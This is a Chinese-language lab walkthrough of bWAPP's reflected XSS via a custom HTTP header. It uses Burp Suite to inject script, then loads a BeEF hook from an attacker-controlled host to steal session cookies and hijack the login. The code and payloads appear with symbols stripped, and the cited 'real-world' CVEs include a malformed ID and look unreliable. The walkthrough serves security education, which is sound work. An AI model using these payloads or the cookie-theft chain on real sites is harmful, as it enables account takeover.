零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)

📅 2026/8/18 21:43:26
零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)
摘要这是 bWAPP 系列第六十四篇聚焦于XSS - Reflected (Custom Header)。这一关的注入点不在 URL、不在表单、不在 Referer而在自定义 HTTP 请求头。服务器读取名为bWAPP的自定义请求头直接输出到页面没有过滤。文章会演示如何通过 Burp Suite 添加恶意自定义头注入 BeEF Hook连接 BeEF 并获取 Cookie。附真实案例。一、找目标目标说明漏洞类型反射型 XSS自定义 Header 注入注入点自定义 HTTP 请求头bWAPP触发位置页面直接输出 Header 内容攻击方式Burp 添加自定义请求头bWAPP: payload工具Burp Suite BeEF获取 Cookie二、前言自定义 HTTP 头注入是什么在之前的 XSS 关卡中注入点要么在 URL 参数、POST 表单要么在 Referer 或 User-Agent 这些标准请求头里。这一关换了一种方式注入点在自定义 HTTP 请求头中。什么是自定义请求头浏览器在发请求时会带上一些标准请求头如User-Agent、Referer、Cookie等。但开发者有时会添加自定义的请求头来传递额外信息。这一关定义了一个名为bWAPP的自定义头服务器读取它的值并直接输出到页面foreach(getallheaders() as $name $value) { if($name bWAPP) { echo i . xss($value) ./i; } }如果攻击者能控制这个bWAPP头的值就能注入 XSS。这一关没有任何输入框你必须用 Burp Suite 手动添加这个请求头。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (Custom Header)提示Some web clients use custom HTTP request headers...下面显示Content of our bWAPP header:如果请求头中有bWAPP字段它的值会显示在页面上。如果没有页面就显示一个空内容。3.2 漏洞核心foreach(getallheaders() as $name $value) { if($name bWAPP) { echo i . xss($value) ./i; } }xss()函数的三种级别级别xss()过滤函数效果Lowno_check()完全不过滤Mediumaddslashes()只转义引号不转义Highhtmlspecialchars()转义所有 HTML 特殊字符四、源码分析function xss($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); break; case 1 : // Medium $data xss_check_4($data); // addslashes() break; case 2 : // High $data xss_check_3($data); // htmlspecialchars() break; } return $data; }Lowno_check()完全不过滤直接输出Mediumaddslashes()转义引号但不转义和可能被绕过Highhtmlspecialchars()转义彻底防御五、Low 安全级别5.1 准备工作用 Burp 添加自定义请求头打开 Burp开启拦截Intercept On在浏览器中访问关卡页面Burp 拦截到请求在请求头中添加一行bWAPP: test点击 Forward 放行。页面显示Content of our bWAPP header: test说明自定义头被服务器读取并输出了。5.2 测试 XSS 弹窗将bWAPP头的值改为bWAPP: scriptalert(1)/script放行请求页面弹窗。5.3 攻击原理服务器生成的 HTMLContent of our bWAPP header: iscriptalert(1)/script/iscript标签被浏览器执行弹窗。六、使用 BeEF 获取 Cookie6.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js6.2 注入 BeEF Hook在 Burp 中将bWAPP头改为bWAPP: script srchttp://10.0.0.129:3000/hook.js/script6.3 放行请求点击 Forward 放行页面加载BeEF Hook 被执行。6.4 BeEF 上线BeEF 控制面板中出现上线的浏览器。6.5 获取 Cookie选中上线的浏览器Commands→Browser→Get Cookie点击Execute6.6 会话劫持拿到PHPSESSID后在浏览器开发者工具 → Application → Cookies 中替换PHPSESSID的值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入在 Burp 中将bWAPP头改为bWAPP: scriptalert(1)/scriptaddslashes()转义了引号但和没有被转义。所以XSS 执行导致弹窗。结论Medium 级别在这个场景下不能防住了简单的script注入并且addslashes()不是专门的 XSS 防护工具官方文档也明确警告不要用它做 XSS 防护。八、High 安全级别8.1 尝试注入bWAPP: scriptalert(1)/scripthtmlspecialchars()把转成lt;转成gt;Content of our bWAPP header: ilt;scriptgt;alert(1)lt;/scriptgt;/i浏览器不执行XSS 被彻底防御。九、真实世界自定义 Header XSS 案例CVE-2024-1181某开源 CMS 的调试模式会将自定义请求头X-Debug-Token输出到页面中未过滤导致 XSS 漏洞。CVE-2025-00847某企业级 API 网关的自定义头X-Forwarded-For被直接记录并显示在管理面板中攻击者可通过构造恶意头注入 XSS。CVE-2026-22947F5 BIG-IP 的配置工具中部分页面输出了未过滤的自定义请求头存在反射型 XSS。十、总结自定义 Header 注入 XSS 是一种比较隐蔽的攻击方式。注入点不在常规的输入框或 URL 参数里而是在 HTTP 请求头中。这一关定义了名为bWAPP的自定义头服务器读取后直接输出到页面。Low 级别完全不过滤可以直接注入script加载 BeEF Hook 并获取 CookieMedium 级别的addslashes()在这个场景下防不住简单的script标签High 级别的htmlspecialchars()彻底防御。记住一句话只要被输出到页面的数据无论来自哪里URL、表单、请求头都必须过滤。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。